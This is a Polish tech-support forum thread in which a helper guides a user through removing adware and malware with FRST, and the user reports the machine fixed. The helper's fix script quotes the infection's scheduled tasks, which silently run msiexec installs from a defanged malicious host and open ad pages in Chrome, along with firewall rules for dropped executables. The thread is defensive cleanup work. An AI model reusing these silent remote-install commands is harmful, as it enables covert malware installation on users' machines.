Ryuuku Opublikowano 23 Września 2018 Zgłoś Opublikowano 23 Września 2018 Cześć! Wiem, że ten temat był wcześniej poruszany, ale jak u kolegi wcześniej CMD wyłącza się zaraz po jego uruchomieniu. Niestety nie jestem w stanie wejść na żadną stronę podaną w "repozytorium", ponieważ jak tylko wpiszę jej adres , to robak od razu freezuje każdą przeglądarkę, z której próbuję korzystać i muszę ją ubijać procesem. Czy jest szansa, aby się z tym uporać bez formatowania systemu? Dotyczy tego tematu: Pozdrawiam UPDATE: Co jakiś czas uruchamiają mi się kolejne 2 reklamowe karty w przeglądarce z czego jedna ma w adresie niemiecką wyszukiwarkę woolworth (z wiadomych przyczyn pełnego adresu nie podam)
jessica Opublikowano 23 Września 2018 Zgłoś Opublikowano 23 Września 2018 Na wszelki wypadek daj logi z FRST https://www.fixitpc.pl/topic/61-diagnostyka-ogólne-raporty-systemowe/?tab=comments#comment-160527 jessi
Ryuuku Opublikowano 23 Września 2018 Autor Zgłoś Opublikowano 23 Września 2018 Jessi, niestety nie jestem w stanie tego zrobić. Jak pisałem wcześniej, przy wejściu na dowolną stronę z antywirusem, antymalwarem etc. moja przeglądarka dostaje freeza i muszę ją ubijać z managera zadań. Podobnie wygląda to, jak chcę pobrać taki program ze strony np. PCFormat. Instalator skopiowany z pendrive'a zachowuje się tak samo jak cmd.
jessica Opublikowano 23 Września 2018 Zgłoś Opublikowano 23 Września 2018 aha, czyli nie ma żadnej możliwości pomocy. trudno. a czy w Trybie Awaryjnym jest tak samo? Cytat Podobnie wygląda to, jak chcę pobrać taki program ze strony np. PCFormat. a stąd (FRST ma inną nazwę): 32 bit: http://www.mediafire.com/file/w17hklgthxfbb6d/COSTAM.exe/file 64 bit: http://www.mediafire.com/file/at10do4gxog6abg/co%C5%9Btam64.exe/file jessi
Ryuuku Opublikowano 23 Września 2018 Autor Zgłoś Opublikowano 23 Września 2018 Program jak najbardziej, mogę pobrać, ale zaraz po uruchomieniu zachowuje się zupełnie tak samo jak przeglądarka - freez i brak jakiejkolwiek odpowiedzi. EDIT: Coś zatrybiło! Wrzucam pliki Addition.txt FRST.txt
jessica Opublikowano 23 Września 2018 Zgłoś Opublikowano 23 Września 2018 Uruchom FRST. Na klawiaturze naciśnij jednocześnie CTRL+Y. Otworzy się Notatnik - wklej do niego: Spoiler Task: {031C5E90-2DC1-47A9-B18A-BA62A50B5D1B} - System32\Tasks\{84BA2884-E7CC-76DF-A609-4099971479D6} => "msiexec" /q -i hxxp://zevariurs.com/ep1hcnmxg1wu.iul Task: {031E08D8-BBB6-45D7-8E79-EE276F67F075} - System32\Tasks\{DF9AEE5D-429B-E559-BE4E-426FE6DB5740} => "msiexec" /q -i hxxp://zevariurs.com/ep1hcnmxg1wu.ieo Task: {636AD5F0-226D-497A-AC4F-779BC299C81E} - System32\Tasks\{64D37BF8-BBEA-A456-51C9-A118801C0D0E} => "msiexec" /q -i hxxp://zevariurs.com/lyyxybwnoxtt.lvt Task: {7479A460-5893-42C3-95D1-A4803628BA6C} - System32\Tasks\{605AE53A-C188-3376-5E0D-68183401157D} => "msiexec" /q -i hxxp://zevariurs.com/lyyxybwnoxtt.lvt Task: {978D2965-E1DF-4723-B56F-2914D3658228} - System32\Tasks\{9F5410CB-B3EF-66B1-87B5-E7D9AEF5AC4A} => "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" hxxp://bl0ging.com/cl/?guid=lx6bs30puezteu1uy7b32g0vgs8thjot&prid=1&pid=4_1324_0 Task: {F937031D-C751-4AEA-9ECA-5238451313C4} - System32\Tasks\{159EF659-4241-B5C4-8CF9-46DF34FA3D62} => "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" hxxp://bl0ging.com/cl/?guid=g6p9m608jw5e8plsv5eho4mf4k3ufmql&prid=1&pid=4_1324_0 FirewallRules: [{A2AB0068-96F5-4E9E-B6BF-69E7EEA41084}] => (Allow) C:\Windows\SysWOW64\msiexec.exe FirewallRules: [{85D688A7-D708-407C-BC57-CF3CEC0440E0}] => (Allow) C:\Users\Ryuuku\AppData\Roaming\AINAOOuOgklgb.exe FirewallRules: [{3F976A86-0171-436F-9DE2-5ACC1B217144}] => (Allow) C:\Users\Ryuuku\AppData\Local\YnRepIdE.exe FirewallRules: [{58B801B8-14EF-4366-9F67-B6A21A53BEB3}] => (Allow) C:\Windows\SysWOW64\svchost.exe FirewallRules: [{F40DD2A8-508F-46D4-AD25-605339207A84}] => (Allow) C:\Windows\SysWOW64\msiexec.exe FirewallRules: [{EF5040F2-911D-413D-96D4-F2966DE5B32D}] => (Allow) C:\Program Files (x86)\CseOVOAOo.exe FirewallRules: [{8E0A82BB-0383-4642-A126-3D0C18C464D4}] => (Allow) C:\Users\Ryuuku\AppData\Roaming\hjlGaZAEIKOy.exe FirewallRules: [{542EEA5B-B888-4282-B07F-0D1C4DD50B47}] => (Allow) C:\Windows\SysWOW64\svchost.exe FirewallRules: [{1D9F26D1-2CB4-4BE1-9788-20540CABB336}] => (Allow) C:\Windows\SysWOW64\svchost.exe FirewallRules: [{B1CFE105-C6DE-4F0C-A1A5-A03483977BC9}] => (Allow) C:\Windows\SysWOW64\svchost.exe FirewallRules: [{D685430B-3DE0-4E4A-8204-3820B9E6B077}] => (Allow) C:\Windows\SysWOW64\svchost.exe FirewallRules: [{31612011-A91C-4D31-B04C-E23DD2C4F7AC}] => (Allow) C:\Windows\SysWOW64\svchost.exe FirewallRules: [{9E76281B-5526-4A25-8ED8-AE3A534EC8AB}] => (Allow) C:\Windows\SysWOW64\svchost.exe FirewallRules: [{E41056A0-A47B-411A-A371-F9F220D3F058}] => (Allow) C:\Windows\SysWOW64\svchost.exe FirewallRules: [{25AFC395-C9D7-40BC-A156-BF5DF738080C}] => (Allow) C:\Windows\SysWOW64\svchost.exe C:\Program Files (x86)\CseOVOAOo.exe C:\Users\Ryuuku\AppData\Roaming\hjlGaZAEIKOy.exe C:\Users\Ryuuku\AppData\Local\YnRepIdE.exe C:\Users\Ryuuku\AppData\Roaming\AINAOOuOgklgb.exe C:\Users\Ryuuku\AppData\Local\yGOYOHOXbaAnc.exe CHR DefaultSearchURL: Default -> data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAIAAAD8GO2jAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA2lJREFUeNqMVk1vGkEMndmu4MLmkOWQoCqkh0APqAdUVNpKiXLux/+tFKlSDlEitcm15RI4BBBiucCFjdDUs571eL1L1EEC450d28/P9ujvH7+qbBljFFtaa9SgAN9ij9Xnb/LNdBrKIUn0rNKGKi1vvkpPQqi0syYiIBvlN7lt2kM7C6ErE2gr6BfcpCXO4mg4AURlCg6ZHCIrGuk1Kckp/q20P13u1NknW4E7VMkAreE8ONTLEA0Lpep0jDvgSReZIGRQbkSNuBnT0+ggOowP0X3uB0cC1qvu6453Te8lT3/Qv7i8SLfpbDrDN4efh4MPg91ut1gsMBprqYSEY1EledA1fNo+bcN3kiS0HzVgz7pMwGrJhRBs5glS+EuVQbkDZKIoAmHyOEEP2m/s6WmaJsnKRZ5XoijJkIrAWtKG8sP5dNw6ds46Puhmswni+HFsmclKnZe9M0BmiXD4uFavdbod3ERC713PRZDhA2GhJlkmmBuOj0vkt+EXbhl5BnY6bzvDT0P1f+v25nb0Z8SZ6rikMwO51gcGf8G7xkEDNtRqtfPLc1Be/7zebreYkv77PghXP65g5ypZWT3RP3ufjIWeOb6A7LPNZrNerymfIE/GE4wSKgAZNX2aenIrhwF5jzZCOpg3Ly4jf1bIlozsWF+zpxmxQ+liN81UWBaBMrIjOhpoZwkpBGl0hW0U1vNmvXGFooycHMbHFJY7OO4jwqAB6BOkieMYM9GrW818Oge4CuzUDCIqcW4GDsU00iKm0jrrnqFw/+t+uVxyHhZA9jRlZuAvOg5wgyXI8N3NHb55cnoCxgCxh98P6A1gBR/uIkc7LGQ4xx0WFA4lAEAAwuA76Ph85jR82ogJmje7whD37RBfOGodYYaJ4GgSMKFZW25BHiiVzwMaOx47KLF6DfPpupAxkFioO99Eiye6GhYRFEZYcdi2Wi0sMYCYJwYCek6fOdC+GRt5zQmlC8wSdGNgiG3RxlX46O8ITfojlBHDkuLwzU7cscr1LLqhd5y3hfK8Iogq7lLZ8jZK9zU+9co3KK4P+LnCca9nG8T9RedLXBL8tUUMIGwvojXtc99dthiqLnoWViADNHvvAGL2uROVFtcykZjwhZdFcAJc6TjbwTEM3QAq3lP40VSThRxU3U0rgf0nwADpJQebhAz3/AAAAABJRU5ErkJggg== CHR HKLM-x32\...\Chrome\Extension: [nladljmabboanhihfkjacnnkgjhnokhj] - hxxps://clients2.google.com/service/update2/crx C:\Users\Ryuuku\AppData\Local\imw.ini EmptyTemp: Na klawiaturze naciśnij jednocześnie CTRL+S. W FRST kliknij na Fix (NAPRAW). Zrób nowe logi FRST. jessi
Ryuuku Opublikowano 23 Września 2018 Autor Zgłoś Opublikowano 23 Września 2018 Kolejne 3 pliczki po naprawie: Addition.txt Fixlog.txt FRST.txt
jessica Opublikowano 23 Września 2018 Zgłoś Opublikowano 23 Września 2018 W nowych logach nie widzę już niczego podejrzanego. jessi
Ryuuku Opublikowano 23 Września 2018 Autor Zgłoś Opublikowano 23 Września 2018 A u mnie wszystko działa jak należy! Nie mam pojęcia jak Wy wszyscy to robicie, ale jesteście wielcy! ❤️ Bardzo Ci dziękuję, Jessi! Temat można zamknąć
Rekomendowane odpowiedzi
Jeśli chcesz dodać odpowiedź, zaloguj się lub zarejestruj nowe konto
Jedynie zarejestrowani użytkownicy mogą komentować zawartość tej strony.
Zarejestruj nowe konto
Załóż nowe konto. To bardzo proste!
Zarejestruj sięZaloguj się
Posiadasz już konto? Zaloguj się poniżej.
Zaloguj się